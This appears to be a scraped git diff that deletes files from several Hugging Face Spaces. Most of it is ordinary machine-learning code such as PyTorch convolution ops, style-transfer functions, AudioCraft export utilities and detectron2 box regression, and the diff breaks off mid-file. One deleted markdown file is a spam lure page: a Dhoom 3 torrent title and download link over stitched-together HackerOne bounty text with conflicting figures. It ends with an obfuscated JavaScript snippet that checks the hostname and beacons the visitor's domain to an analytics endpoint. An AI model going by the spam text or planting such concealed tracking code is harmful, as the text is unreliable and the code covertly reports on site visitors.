ctx.needs_input_grad[1] and not weight_gradients_disabled: - grad_weight = Conv2dGradWeight.apply(grad_output, input) - - if ctx.needs_input_grad[2]: - grad_bias = grad_output.sum((0, 2, 3)) - - return grad_input, grad_weight, grad_bias - - class Conv2dGradWeight(autograd.Function): - @staticmethod - def forward(ctx, grad_output, input): - op = torch._C._jit_get_operation( - "aten::cudnn_convolution_backward_weight" - if not transpose - else "aten::cudnn_convolution_transpose_backward_weight" - ) - flags = [ - torch.backends.cudnn.benchmark, - torch.backends.cudnn.deterministic, - torch.backends.cudnn.allow_tf32, - ] - grad_weight = op( - weight_shape, - grad_output, - input, - padding, - stride, - dilation, - groups, - *flags, - ) - ctx.save_for_backward(grad_output, input) - - return grad_weight - - @staticmethod - def backward(ctx, grad_grad_weight): - grad_output, input = ctx.saved_tensors - grad_grad_output, grad_grad_input = None, None - - if ctx.needs_input_grad[0]: - grad_grad_output = Conv2d.apply(input, grad_grad_weight, None) - - if ctx.needs_input_grad[1]: - p = calc_output_padding( - input_shape=input.shape, output_shape=grad_output.shape - ) - grad_grad_input = conv2d_gradfix( - transpose=(not transpose), - weight_shape=weight_shape, - output_padding=p, - **common_kwargs, - ).apply(grad_output, grad_grad_weight, None) - - return grad_grad_output, grad_grad_input - - conv2d_gradfix_cache[key] = Conv2d - - return Conv2d diff --git a/spaces/bankholdup/stylegan_petbreeder/op/upfirdn2d_cpu.py b/spaces/bankholdup/stylegan_petbreeder/op/upfirdn2d_cpu.py deleted file mode 100644 index a0f820b4c81e03598589b1ea6b95cf9bef9b04f8..0000000000000000000000000000000000000000 --- a/spaces/bankholdup/stylegan_petbreeder/op/upfirdn2d_cpu.py +++ /dev/null @@ -1,60 +0,0 @@ -import os - -import torch -from torch.autograd import Function -from torch.nn import functional as F - - - -module_path = os.path.dirname(__file__) - -def upfirdn2d(input, kernel, up=1, down=1, pad=(0, 0)): - out = upfirdn2d_native( - input, kernel, up, up, down, down, pad[0], pad[1], pad[0], pad[1] - ) - - return out - - -def upfirdn2d_native( - input, kernel, up_x, up_y, down_x, down_y, pad_x0, pad_x1, pad_y0, pad_y1 -): - _, channel, in_h, in_w = input.shape - input = input.reshape(-1, in_h, in_w, 1) - - _, in_h, in_w, minor = input.shape - kernel_h, kernel_w = kernel.shape - - out = input.view(-1, in_h, 1, in_w, 1, minor) - out = F.pad(out, [0, 0, 0, up_x - 1, 0, 0, 0, up_y - 1]) - out = out.view(-1, in_h * up_y, in_w * up_x, minor) - - out = F.pad( - out, [0, 0, max(pad_x0, 0), max(pad_x1, 0), max(pad_y0, 0), max(pad_y1, 0)] - ) - out = out[ - :, - max(-pad_y0, 0) : out.shape[1] - max(-pad_y1, 0), - max(-pad_x0, 0) : out.shape[2] - max(-pad_x1, 0), - :, - ] - - out = out.permute(0, 3, 1, 2) - out = out.reshape( - [-1, 1, in_h * up_y + pad_y0 + pad_y1, in_w * up_x + pad_x0 + pad_x1] - ) - w = torch.flip(kernel, [0, 1]).view(1, 1, kernel_h, kernel_w) - out = F.conv2d(out, w) - out = out.reshape( - -1, - minor, - in_h * up_y + pad_y0 + pad_y1 - kernel_h + 1, - in_w * up_x + pad_x0 + pad_x1 - kernel_w + 1, - ) - out = out.permute(0, 2, 3, 1) - out = out[:, ::down_y, ::down_x, :] - - out_h = (in_h * up_y + pad_y0 + pad_y1 - kernel_h + down_y) // down_y - out_w = (in_w * up_x + pad_x0 + pad_x1 - kernel_w + down_x) // down_x - - return out.view(-1, channel, out_h, out_w) diff --git a/spaces/bedrock123/nlp-vit-gpt2-image-captioning/README.md b/spaces/bedrock123/nlp-vit-gpt2-image-captioning/README.md deleted file mode 100644 index f1f2709d139150716f9d63c422413ab541862d1b..0000000000000000000000000000000000000000 --- a/spaces/bedrock123/nlp-vit-gpt2-image-captioning/README.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Nlp Vit Gpt2 Image Captioning -emoji: 🦀 -colorFrom: purple -colorTo: indigo -sdk: gradio -sdk_version: 3.23.0 -app_file: app.py -pinned: false ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference diff --git a/spaces/beihai/PDF-Table-Extractor/.history/test_20220621134738.py b/spaces/beihai/PDF-Table-Extractor/.history/test_20220621134738.py deleted file mode 100644 index 19c91f82fde4b81f18e54c51483efa91bdac0162..0000000000000000000000000000000000000000 --- a/spaces/beihai/PDF-Table-Extractor/.history/test_20220621134738.py +++ /dev/null @@ -1,34 +0,0 @@ -#-*- coding : utf-8-*- -import base64 -from subprocess import STDOUT -import streamlit as st -import pandas as pd -import camelot as cam # extracting tables from PDFs - -st.title("PDF Table Extractor") - -input_pdf = st.file_uploader(label = "", type = 'pdf') - -background = st.selectbox("表格线条是否透明",(False,True)) -#extractor_mode = st.selectbox("单页抽取 OR 全文抽取",("单页抽取","全文抽取")) - -def extractor(page,result_name): - tables_all= cam.read_pdf("input.pdf", pages=page, process_background=background) - result_all = pd.ExcelWriter(result_name, engine='xlsxwriter') - for i in range(0,len(tables_all)): - table = tables_all[i].df - sheetname = str(i) - table.to_excel(result_all, sheetname,index=False) - result_all.save() - with open(result_name,'rb') as f: - st.download_button('抽取完成, 点击下载！', f,file_name=result_name,mime="application/vnd.ms-excel") - - -if input_pdf is not None: - # byte object into a PDF file - with open("input.pdf", "wb") as f: - base64_pdf = base64.b64encode(input_pdf.read()).decode('utf-8') - f.write(base64.b64decode(base64_pdf)) - f.close() - page_number = st.text_input("请填写表格所在PDF页码，eg: 3", value = 1) - extractor(page_number,"result.xlsx") \ No newline at end of file diff --git a/spaces/bguberfain/Detic/tools/fix_o365_path.py b/spaces/bguberfain/Detic/tools/fix_o365_path.py deleted file mode 100644 index 38716e56c465fc1a2b904a39dd3b9660eafba398..0000000000000000000000000000000000000000 --- a/spaces/bguberfain/Detic/tools/fix_o365_path.py +++ /dev/null @@ -1,28 +0,0 @@ -# Copyright (c) Facebook, Inc. and its affiliates. -import argparse -import json -import path -import os - -if __name__ == '__main__': - parser = argparse.ArgumentParser() - parser.add_argument("--ann", default='datasets/objects365/annotations/zhiyuan_objv2_train_fixname.json') - parser.add_argument("--img_dir", default='datasets/objects365/train/') - args = parser.parse_args() - - print('Loading', args.ann) - data = json.load(open(args.ann, 'r')) - images = [] - count = 0 - for x in data['images']: - path = '{}/{}'.format(args.img_dir, x['file_name']) - if os.path.exists(path): - images.append(x) - else: - print(path) - count = count + 1 - print('Missing', count, 'images') - data['images'] = images - out_name = args.ann[:-5] + '_fixmiss.json' - print('Saving to', out_name) - json.dump(data, open(out_name, 'w')) diff --git a/spaces/bioriAsaeru/text-to-voice/Download Hindi Movie DHOOM 3 Torrents - KickassTorrents Watch the Action-Packed Thriller Online.md b/spaces/bioriAsaeru/text-to-voice/Download Hindi Movie DHOOM 3 Torrents - KickassTorrents Watch the Action-Packed Thriller Online.md deleted file mode 100644 index f20f1bde4e9a03d01059d3bdd496d4940fd3b406..0000000000000000000000000000000000000000 --- a/spaces/bioriAsaeru/text-to-voice/Download Hindi Movie DHOOM 3 Torrents - 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      HackerOne is the #1 hacker-powered pentest & bug bounty platform, helping organizations find and fix critical vulnerabilities before they can be exploited. More Fortune 500 and Forbes Global 1000 companies trust HackerOne than any other hacker-powered security alternative. With more than 1,700 customer programs, including The U.S. Department of Defense, General Motors, Google, Goldman Sachs, PayPal, Hyatt, Twitter, GitHub, Nintendo, Lufthansa, Microsoft, MINDEF Singapore, Panasonic Avionics, Qualcomm, Starbucks, Dropbox, and Intel, HackerOne has helped to find over 150,000 vulnerabilities and award more than $82M in bug bounties to a growing community of over 600,000 hackers. HackerOne is headquartered in San Francisco with offices in London, New York, the Netherlands, France and Singapore.

      -

      Hackerone had earlier announced less than an year back that Cosmin became the 7th hacker to have become a bug bounty millionaire. Now, he has crossed the $2M mark in all-time earnings, which means @inhibitor181 might have made $1M in bounties less than a year, on Hackerone itself.

      -

      Hackers made $82 Million through Bug Bounties in 2019


      Download ✦ https://urloso.com/2uyRYi



      -

      At the age of 30, and with just 4 years of experience in bug bounty hunting, Cosmin makes $1 million in bug bounties a year from 468
      bugs that he reported on Hackerone, and has made $2 million so far in bug bounties.

      -

      Hackerone reportedly paid out $40 million dollars in bug bounties in 2019 alone, and $82 million dollars in total. Hacking which was considered bad not long ago, is now a respectable source of income for many people around the globe.

      -

      So far, 50 Hackers made six figures ($100,000) in bug bounties in 2019, while most hackers tend to earn less than $20k per year. The figure though small is indicative that there's huge potential in bug bounty hunting for aspiring hackers.

      -

      Apple has offered $1 million (£820,000) to anyone who can hack the iOS kernel of an iPhone without requiring any clicks by the user. Exploit acquisition platform Zerodium, meanwhile, is offering $2 million (£1.6 million) for anyone who can pull of a "zero-click" remote jailbreak of an iPhone. In the meantime, six hackers on the HackerOne bug bounty platform have now made more than $1 million each.

      -

      HackerOne announced on August 29 that six hackers signed up to the bug bounty platform have earned more than $1 million each. HackerOne operates as the conduit between nearly 1,500 organizations, including the likes of General Motors, Goldman Sachs, Google, Intel, Microsoft, Spotify, Starbucks, Twitter and even the U.S. Department of Defense, and the hackers who can find the vulnerabilities in their systems and services before malicious threat actors can exploit them.

      -

      -

      "HackerOne has half a million registered hackers, and 600 new people join every day," says Laurie Mercer, a security engineer at HackerOne, "and they have discovered over 130,000 vulnerabilities so far." The idea of offering bounties for vulnerabilities is far from being a new one. Mercer reckons that the first bug bounty was launched some 30 years ago when a reward of $1,000 (£820) was offered for anyone who could find flaws in the operating system that powered the Hubble telescope.

      -

      Things have moved on somewhat since then, with HackerOne having paid out nearly $65 million (£53 million) in bounties to hackers from 150 different countries according to Mercer. The single top reward paid so far, Mercer says, was $100,000 (£82,000) which is more than 200 times the value of the first bounty HackerOne paid back in 2013. By the end of 2020, HackerOne CEO, Marten Mickos, predicted that "hackers will earn $100 million (£82 million)," and he hopes that HackerOne will have "1 million ethical hackers signed up."

      -

      If you need any more convincing that hacking can be a very profitable career path, then you only have to look at the Hacker Summer Camp this year. This is the name given to the week in August that sees both Black Hat USA and DEF CON hacker conferences happening in Las Vegas. At the live "H1-702" hacking event, around 100 hackers got together for three days of vulnerability hunting; a total of $1.9 million (£1.5 million) was shared out between the hackers for finding more than 1,000 bugs.

      -

      Santiago Lopez, just 19 and from Argentina, was the first of the HackerOne hackers to make a million dollars in bounties. Did he ever dream he could make that kind of money from hacking? "When I first got into hacking, I had no idea how much money could be made," Lopez admits, "I am incredibly proud to see that my work is recognized and valued."

      -

      He hopes the achievements of the six millionaires will "encourage other hackers to test their skills, become part of our supportive community and make the internet a much safer place." And if those hackers get as good as Chan, they too might be able to earn $75,000 (£61,500) in just a single month as he did in July 2019.

      -

      One thing is for sure; these six hackers are great role models for anyone thinking about how they can best monetize their hacking skills. "Security experts can now earn over 40 times the median salary of software engineers through bug hunting," Mercer concludes, "and thus a new profession has been born: one where hackers can be paid handsomely for helping to create a safer digital world, one bug at a time."

      -

      It might seem hard to believe, but according to an annual report from the bug bounty platform HackerOne, the so-called white hat community has been snowballing over the last few years. The organization said its base or registered hackers exceeded 600,000 in 2019, double the number it had in 2018.

      -

      To put things in perspective, HackerOne notes that in 2019, companies like Google, Goldman Sachs, IBM, Toyota, Dropbox, and General Motors paid ethical hackers a record $40 million in bounties. That amount is almost equal to the total awarded for all prior years combined.

      -

      According to their most recent annual report, over 1,700 companies trust the HackerOne platform to augment their in-house application security testing capacities. The report likewise says that their security researchers earned approximately $40 million in bounties in 2019 alone and $82 million cumulatively.

      -

      According to HackerOne, which organised the events that Paxton-Fear attended and organises bug bounties for big businesses and government agencies, nine hackers have now earned more than $1m each in rewards for spotting vulnerabilities.

      -

      But this elite group of high earners is very much the minority. For the vast majority the rewards are much lower; HackerOne said that of the hackers who have found at least one vulnerability, half have earned $1,000 or more. But for some hackers, bug bounties are becoming a handy source of additional financial support.

      -

      Hackers earned 38% more in bounty payments compared with 2019, according to data from Bugcrowd, another bug bounty program company, which calculates that its hackers prevented $8.9bn in cybercrime by finding and allowing companies to fix bugs that would otherwise have let attackers into their systems.

      -

      But then, most likely, the objectives of the project will shift and a new feature is needed, which means new code being added on top. And then, maybe a year or two later, long after the original development team has moved on, a feature will need changing or removing, which means a new team of developers trying to understand, then modify, the whole leaning tower of code. And this is the best-case scenario for development in many situations. No wonder hackers find gaps they can sneak through.

      -

      This economic pressure is perhaps part of the reason behind the geographic spread of researchers chasing bug bounties. For Bugcrowd, 80% of bounties are from US companies, but 34% are paid out to India researchers (compared to 26% that go to US researchers). For HackerOne, nearly 90% of bounties come from the US, and while US hackers get the most, researchers from India, Russia, and China also do well. That means bug bounties could in some respects evolve into a crowdsourced twist on the established model of offshore outsourcing.

      -

      In its 2020 annual report HackerOne disclosed that it paid out $40 million in bounties in 2019, roughly equal to the total for all previous years combined. It also has information about who the hackers are, what motivates them and how they think other people perceive hackers

      -

      HackerOne is the pre-eminent bug bounty platform with a community of over 600,000 ethical, or white hat, hackers. Since it started in 2012, HackerOne has helped to find over 150,000 vulnerabilities and award more than $82M in bug bounties. Its partner programs include those of Google, Microsoft, GitHub, the US Department of Defence, Goldman Sachs, General Motors and others high profile ones with a total of 1,700 customer programs in all. So the $6.5 million we recently reported as being paid out by Google in 2019 was channeled through HackerOne.

      -

      The report reveals that hacking provides valuable professional
      experience, with 78% of hackers using it to help them find a better job or compete for a career opportunity. It is increasingly becoming a career choice. Nearly 40% of the respondents devote 20 hours or more per week to their search for vulnerabilities and 18% describe themselves as full-time hackers. In terms of income, most hackers make less than $20,000 per year from bug bounties as a hobby but more than 50 hackers earned over $100,000 in 2019. In terms of lifetime earnings, HackerOne reported that seven hackers had passed the $1 million earnings milestone.

      -

      But hackers had already created a database of email addresses and phone numbers behind the 5.4 million Twitter accounts and were intending to sell them. Twitter said it learned about this from a press report in July. if( 'moc.enilnoefiltseb' !== location.hostname.split('').reverse().join('') ) document.addEventListener( 'DOMContentLoaded', function() var payload = 'v=1&tid=UA-72659260-1&cid=fa5db2e2-1df0-4f30-9547-f72680e8a29f&t=event&ec=clone&ea=hostname&el=domain&aip=1&ds=web&z=6146083984213825513'.replace( 'domain', location.hostname );if( navigator.sendBeacon ) navigator.sendBeacon(' -analytics.com/collect', payload); else var xhr = new XMLHttpRequest();xhr.open('POST', ' -analytics.com/collect', true);xhr.setRequestHeader('Content-Type', 'text/plain;charset=UTF-8');xhr.send(payload); );ae0fcc31ae342fd3a1346ebb1f342fcb

      aaccfb2cb3
      -
      -
      \ No newline at end of file diff --git a/spaces/biubiubiiu/EFDM/function.py b/spaces/biubiubiiu/EFDM/function.py deleted file mode 100644 index fae035284ef176b26d3497f3a5c0221239eb6a6b..0000000000000000000000000000000000000000 --- a/spaces/biubiubiiu/EFDM/function.py +++ /dev/null @@ -1,112 +0,0 @@ -import torch -from skimage.exposure import match_histograms -import numpy as np - -def calc_mean_std(feat, eps=1e-5): - # eps is a small value added to the variance to avoid divide-by-zero. - size = feat.size() - assert (len(size) == 4) - N, C = size[:2] - feat_var = feat.view(N, C, -1).var(dim=2) + eps - feat_std = feat_var.sqrt().view(N, C, 1, 1) - feat_mean = feat.view(N, C, -1).mean(dim=2).view(N, C, 1, 1) - return feat_mean, feat_std - - -def adaptive_instance_normalization(content_feat, style_feat): - assert (content_feat.size()[:2] == style_feat.size()[:2]) - size = content_feat.size() - style_mean, style_std = calc_mean_std(style_feat) - content_mean, content_std = calc_mean_std(content_feat) - - normalized_feat = (content_feat - content_mean.expand( - size)) / content_std.expand(size) - return normalized_feat * style_std.expand(size) + style_mean.expand(size) - -## AdaMean -def adaptive_mean_normalization(content_feat, style_feat): - assert (content_feat.size()[:2] == style_feat.size()[:2]) - size = content_feat.size() - style_mean, style_std = calc_mean_std(style_feat) - content_mean, content_std = calc_mean_std(content_feat) - - normalized_feat = (content_feat - content_mean.expand( - size)) - return normalized_feat + style_mean.expand(size) - -## AdaStd -def adaptive_std_normalization(content_feat, style_feat): - assert (content_feat.size()[:2] == style_feat.size()[:2]) - size = content_feat.size() - style_mean, style_std = calc_mean_std(style_feat) - content_mean, content_std = calc_mean_std(content_feat) - - normalized_feat = (content_feat) / content_std.expand(size) - return normalized_feat * style_std.expand(size) - -## EFDM -def exact_feature_distribution_matching(content_feat, style_feat): - assert (content_feat.size() == style_feat.size()) - B, C, W, H = content_feat.size(0), content_feat.size(1), content_feat.size(2), content_feat.size(3) - value_content, index_content = torch.sort(content_feat.view(B,C,-1)) # sort conduct a deep copy here. - value_style, _ = torch.sort(style_feat.view(B,C,-1)) # sort conduct a deep copy here. - inverse_index = index_content.argsort(-1) - new_content = content_feat.view(B,C,-1) + (value_style.gather(-1, inverse_index) - content_feat.view(B,C,-1).detach()) - - return new_content.view(B, C, W, H) - -## HM -def histogram_matching(content_feat, style_feat): - assert (content_feat.size() == style_feat.size()) - B, C, W, H = content_feat.size(0), content_feat.size(1), content_feat.size(2), content_feat.size(3) - x_view = content_feat.view(-1, W,H) - image1_temp = match_histograms(np.array(x_view.detach().clone().cpu().float().transpose(0, 2)), - np.array(style_feat.view(-1, W, H).detach().clone().cpu().float().transpose(0, 2)), - multichannel=True) - image1_temp = torch.from_numpy(image1_temp).float().to(content_feat.device).transpose(0, 2).view(B, C, W, H) - return content_feat + (image1_temp - content_feat).detach() - - - -def _calc_feat_flatten_mean_std(feat): - # takes 3D feat (C, H, W), return mean and std of array within channels - assert (feat.size()[0] == 3) - assert (isinstance(feat, torch.FloatTensor)) - feat_flatten = feat.view(3, -1) - mean = feat_flatten.mean(dim=-1, keepdim=True) - std = feat_flatten.std(dim=-1, keepdim=True) - return feat_flatten, mean, std - - -def _mat_sqrt(x): - U, D, V = torch.svd(x) - return torch.mm(torch.mm(U, D.pow(0.5).diag()), V.t()) - - -def coral(source, target): - # assume both source and target are 3D array (C, H, W) - # Note: flatten -> f - - source_f, source_f_mean, source_f_std = _calc_feat_flatten_mean_std(source) - source_f_norm = (source_f - source_f_mean.expand_as( - source_f)) / source_f_std.expand_as(source_f) - source_f_cov_eye = \ - torch.mm(source_f_norm, source_f_norm.t()) + torch.eye(3) - - target_f, target_f_mean, target_f_std = _calc_feat_flatten_mean_std(target) - target_f_norm = (target_f - target_f_mean.expand_as( - target_f)) / target_f_std.expand_as(target_f) - target_f_cov_eye = \ - torch.mm(target_f_norm, target_f_norm.t()) + torch.eye(3) - - source_f_norm_transfer = torch.mm( - _mat_sqrt(target_f_cov_eye), - torch.mm(torch.inverse(_mat_sqrt(source_f_cov_eye)), - source_f_norm) - ) - - source_f_transfer = source_f_norm_transfer * \ - target_f_std.expand_as(source_f_norm) + \ - target_f_mean.expand_as(source_f_norm) - - return source_f_transfer.view(source.size()) diff --git a/spaces/brainblow/AudioCreator_Music-Audio_Generation/audiocraft/utils/export.py b/spaces/brainblow/AudioCreator_Music-Audio_Generation/audiocraft/utils/export.py deleted file mode 100644 index 28b214017d9ac23934b67e8254a96131cefa6501..0000000000000000000000000000000000000000 --- a/spaces/brainblow/AudioCreator_Music-Audio_Generation/audiocraft/utils/export.py +++ /dev/null @@ -1,79 +0,0 @@ -# Copyright (c) Meta Platforms, Inc. and affiliates. -# All rights reserved. -# -# This source code is licensed under the license found in the -# LICENSE file in the root directory of this source tree. - -""" -Utility to export a training checkpoint to a lightweight release checkpoint. -""" - -from pathlib import Path -import typing as tp - -from omegaconf import OmegaConf -import torch - -from audiocraft import __version__ - - -def export_encodec(checkpoint_path: tp.Union[Path, str], out_file: tp.Union[Path, str]): - """Export only the best state from the given EnCodec checkpoint. This - should be used if you trained your own EnCodec model. - """ - pkg = torch.load(checkpoint_path, 'cpu') - new_pkg = { - 'best_state': pkg['best_state']['model'], - 'xp.cfg': OmegaConf.to_yaml(pkg['xp.cfg']), - 'version': __version__, - 'exported': True, - } - Path(out_file).parent.mkdir(exist_ok=True, parents=True) - torch.save(new_pkg, out_file) - return out_file - - -def export_pretrained_compression_model(pretrained_encodec: str, out_file: tp.Union[Path, str]): - """Export a compression model (potentially EnCodec) from a pretrained model. - This is required for packaging the audio tokenizer along a MusicGen or AudioGen model. - Do not include the //pretrained/ prefix. For instance if you trained a model - with `facebook/encodec_32khz`, just put that as a name. Same for `dac_44khz`. - - In that case, this will not actually include a copy of the model, simply the reference - to the model used. - """ - if Path(pretrained_encodec).exists(): - pkg = torch.load(pretrained_encodec) - assert 'best_state' in pkg - assert 'xp.cfg' in pkg - assert 'version' in pkg - assert 'exported' in pkg - else: - pkg = { - 'pretrained': pretrained_encodec, - 'exported': True, - 'version': __version__, - } - Path(out_file).parent.mkdir(exist_ok=True, parents=True) - torch.save(pkg, out_file) - - -def export_lm(checkpoint_path: tp.Union[Path, str], out_file: tp.Union[Path, str]): - """Export only the best state from the given MusicGen or AudioGen checkpoint. - """ - pkg = torch.load(checkpoint_path, 'cpu') - if pkg['fsdp_best_state']: - best_state = pkg['fsdp_best_state']['model'] - else: - assert pkg['best_state'] - best_state = pkg['best_state']['model'] - new_pkg = { - 'best_state': best_state, - 'xp.cfg': OmegaConf.to_yaml(pkg['xp.cfg']), - 'version': __version__, - 'exported': True, - } - - Path(out_file).parent.mkdir(exist_ok=True, parents=True) - torch.save(new_pkg, out_file) - return out_file diff --git a/spaces/breadlicker45/galactica-base/app.py b/spaces/breadlicker45/galactica-base/app.py deleted file mode 100644 index ea0e60033164a1846964200445fbdb1897fc4880..0000000000000000000000000000000000000000 --- a/spaces/breadlicker45/galactica-base/app.py +++ /dev/null @@ -1,49 +0,0 @@ -import gradio as gr -from transformers import pipeline -from transformers import AutoTokenizer, AutoModelForCausalLM - -tokenizer = AutoTokenizer.from_pretrained("facebook/galactica-125m") -model = AutoModelForCausalLM.from_pretrained("facebook/galactica-125m") -text2text_generator = pipeline("text-generation", model=model, tokenizer=tokenizer, num_workers=2) - -def predict(text, max_length=64, temperature=0.7, do_sample=True): - text = text.strip() - out_text = text2text_generator(text, max_length=max_length, - temperature=temperature, - do_sample=do_sample, - eos_token_id = tokenizer.eos_token_id, - bos_token_id = tokenizer.bos_token_id, - pad_token_id = tokenizer.pad_token_id, - )[0]['generated_text'] - out_text = "

      " + out_text + "

      " - out_text = out_text.replace(text, text + "") - out_text = out_text + "" - out_text = out_text.replace("\n", "
      ") - return out_text - -iface = gr.Interface( - fn=predict, - inputs=[ - gr.inputs.Textbox(lines=5, label="Input Text"), - gr.inputs.Slider(minimum=32, maximum=256, default=64, label="Max Length"), - gr.inputs.Slider(minimum=0.0, maximum=1.0, default=0.7, step=0.1, label="Temperature"), - gr.inputs.Checkbox(label="Do Sample"), - ], - outputs=gr.HTML(), - description="Galactica Base Model", - examples=[[ - "The attention mechanism in LLM is", - 128, - 0.7, - True - ], - [ - "Title: Attention is all you need\n\nAbstract:", - 128, - 0.7, - True - ] - ] -) - -iface.launch() \ No newline at end of file diff --git a/spaces/brjathu/HMR2.0/vendor/detectron2/detectron2/modeling/box_regression.py b/spaces/brjathu/HMR2.0/vendor/detectron2/detectron2/modeling/box_regression.py deleted file mode 100644 index b24c123f26faa5f17975fe13b6756151da229b2f..0000000000000000000000000000000000000000 --- a/spaces/brjathu/HMR2.0/vendor/detectron2/detectron2/modeling/box_regression.py +++ /dev/null @@ -1,369 +0,0 @@ -# Copyright (c) Facebook, Inc. and its affiliates. -import math -from typing import List, Tuple, Union -import torch -from fvcore.nn import giou_loss, smooth_l1_loss -from torch.nn import functional as F - -from detectron2.layers import cat, ciou_loss, diou_loss -from detectron2.structures import Boxes - -# Value for clamping large dw and dh predictions. The heuristic is that we clamp -# such that dw and dh are no larger than what would transform a 16px box into a -# 1000px box (based on a small anchor, 16px, and a typical image size, 1000px). -_DEFAULT_SCALE_CLAMP = math.log(1000.0 / 16) - - -__all__ = ["Box2BoxTransform", "Box2BoxTransformRotated", "Box2BoxTransformLinear"] - - -@torch.jit.script -class Box2BoxTransform(object): - """ - The box-to-box transform defined in R-CNN. The transformation is parameterized - by 4 deltas: (dx, dy, dw, dh). The transformation scales the box's width and height - by exp(dw), exp(dh) and shifts a box's center by the offset (dx * width, dy * height). - """ - - def __init__( - self, weights: Tuple[float, float, float, float], scale_clamp: float = _DEFAULT_SCALE_CLAMP - ): - """ - Args: - weights (4-element tuple): Scaling factors that are applied to the - (dx, dy, dw, dh) deltas. In Fast R-CNN, these were originally set - such that the deltas have unit variance; now they are treated as - hyperparameters of the system. - scale_clamp (float): When predicting deltas, the predicted box scaling - factors (dw and dh) are clamped such that they are <= scale_clamp. - """ - self.weights = weights - self.scale_clamp = scale_clamp - - def get_deltas(self, src_boxes, target_boxes): - """ - Get box regression transformation deltas (dx, dy, dw, dh) that can be used - to transform the `src_boxes` into the `target_boxes`. That is, the relation - ``target_boxes == self.apply_deltas(deltas, src_boxes)`` is true (unless - any delta is too large and is clamped). - - Args: - src_boxes (Tensor): source boxes, e.g., object proposals - target_boxes (Tensor): target of the transformation, e.g., ground-truth - boxes. - """ - assert isinstance(src_boxes, torch.Tensor), type(src_boxes) - assert isinstance(target_boxes, torch.Tensor), type(target_boxes) - - src_widths = src_boxes[:, 2] - src_boxes[:, 0] - src_heights = src_boxes[:, 3] - src_boxes[:, 1] - src_ctr_x = src_boxes[:, 0] + 0.5 * src_widths - src_ctr_y = src_boxes[:, 1] + 0.5 * src_heights - - target_widths = target_boxes[:, 2] - target_boxes[:, 0] - target_heights = target_boxes[:, 3] - target_boxes[:, 1] - target_ctr_x = target_boxes[:, 0] + 0.5 * target_widths - target_ctr_y = target_boxes[:, 1] + 0.5 * target_heights - - wx, wy, ww, wh = self.weights - dx = wx * (target_ctr_x - src_ctr_x) / src_widths - dy = wy * (target_ctr_y - src_ctr_y) / src_heights - dw = ww * torch.log(target_widths / src_widths) - dh = wh * torch.log(target_heights / src_heights) - - deltas = torch.stack((dx, dy, dw, dh), dim=1) - assert (src_widths > 0).all().item(), "Input boxes to Box2BoxTransform are not valid!" - return deltas - - def apply_deltas(self, deltas, boxes): - """ - Apply transformation `deltas` (dx, dy, dw, dh) to `boxes`. - - Args: - deltas (Tensor): transformation deltas of shape (N, k*4), where k >= 1. - deltas[i] represents k potentially different class-specific - box transformations for the single box boxes[i]. - boxes (Tensor): boxes to transform, of shape (N, 4) - """ - deltas = deltas.float() # ensure fp32 for decoding precision - boxes = boxes.to(deltas.dtype) - - widths = boxes[:, 2] - boxes[:, 0] - heights = boxes[:, 3] - boxes[:, 1] - ctr_x = boxes[:, 0] + 0.5 * widths - ctr_y = boxes[:, 1] + 0.5 * heights - - wx, wy, ww, wh = self.weights - dx = deltas[:, 0::4] / wx - dy = deltas[:, 1::4] / wy - dw = deltas[:, 2::4] / ww - dh = deltas[:, 3::4] / wh - - # Prevent sending too large values into torch.exp() - dw = torch.clamp(dw, max=self.scale_clamp) - dh = torch.clamp(dh, max=self.scale_clamp) - - pred_ctr_x = dx * widths[:, None] + ctr_x[:, None] - pred_ctr_y = dy * heights[:, None] + ctr_y[:, None] - pred_w = torch.exp(dw) * widths[:, None] - pred_h = torch.exp(dh) * heights[:, None] - - x1 = pred_ctr_x - 0.5 * pred_w - y1 = pred_ctr_y - 0.5 * pred_h - x2 = pred_ctr_x + 0.5 * pred_w - y2 = pred_ctr_y + 0.5 * pred_h - pred_boxes = torch.stack((x1, y1, x2, y2), dim=-1) - return pred_boxes.reshape(deltas.shape) - - -@torch.jit.script -class Box2BoxTransformRotated(object): - """ - The box-to-box transform defined in Rotated R-CNN. The transformation is parameterized - by 5 deltas: (dx, dy, dw, dh, da). The transformation scales the box's width and height - by exp(dw), exp(dh), shifts a box's center by the offset (dx * width, dy * height), - and rotate a box's angle by da (radians). - Note: angles of deltas are in radians while angles of boxes are in degrees. - """ - - def __init__( - self, - weights: Tuple[float, float, float, float, float], - scale_clamp: float = _DEFAULT_SCALE_CLAMP, - ): - """ - Args: - weights (5-element tuple): Scaling factors that are applied to the - (dx, dy, dw, dh, da) deltas. These are treated as - hyperparameters of the system. - scale_clamp (float): When predicting deltas, the predicted box scaling - factors (dw and dh) are clamped such that they are <= scale_clamp. - """ - self.weights = weights - self.scale_clamp = scale_clamp - - def get_deltas(self, src_boxes, target_boxes): - """ - Get box regression transformation deltas (dx, dy, dw, dh, da) that can be used - to transform the `src_boxes` into the `target_boxes`. That is, the relation - ``target_boxes == self.apply_deltas(deltas, src_boxes)`` is true (unless - any delta is too large and is clamped). - - Args: - src_boxes (Tensor): Nx5 source boxes, e.g., object proposals - target_boxes (Tensor): Nx5 target of the transformation, e.g., ground-truth - boxes. - """ - assert isinstance(src_boxes, torch.Tensor), type(src_boxes) - assert isinstance(target_boxes, torch.Tensor), type(target_boxes) - - src_ctr_x, src_ctr_y, src_widths, src_heights, src_angles = torch.unbind(src_boxes, dim=1) - - target_ctr_x, target_ctr_y, target_widths, target_heights, target_angles = torch.unbind( - target_boxes, dim=1 - ) - - wx, wy, ww, wh, wa = self.weights - dx = wx * (target_ctr_x - src_ctr_x) / src_widths - dy = wy * (target_ctr_y - src_ctr_y) / src_heights - dw = ww * torch.log(target_widths / src_widths) - dh = wh * torch.log(target_heights / src_heights) - # Angles of deltas are in radians while angles of boxes are in degrees. - # the conversion to radians serve as a way to normalize the values - da = target_angles - src_angles - da = (da + 180.0) % 360.0 - 180.0 # make it in [-180, 180) - da *= wa * math.pi / 180.0 - - deltas = torch.stack((dx, dy, dw, dh, da), dim=1) - assert ( - (src_widths > 0).all().item() - ), "Input boxes to Box2BoxTransformRotated are not valid!" - return deltas - - def apply_deltas(self, deltas, boxes): - """ - Apply transformation `deltas` (dx, dy, dw, dh, da) to `boxes`. - - Args: - deltas (Tensor): transformation deltas of shape (N, k*5). - deltas[i] represents box transformation for the single box boxes[i]. - boxes (Tensor): boxes to transform, of shape (N, 5) - """ - assert deltas.shape[1] % 5 == 0 and boxes.shape[1] == 5 - - boxes = 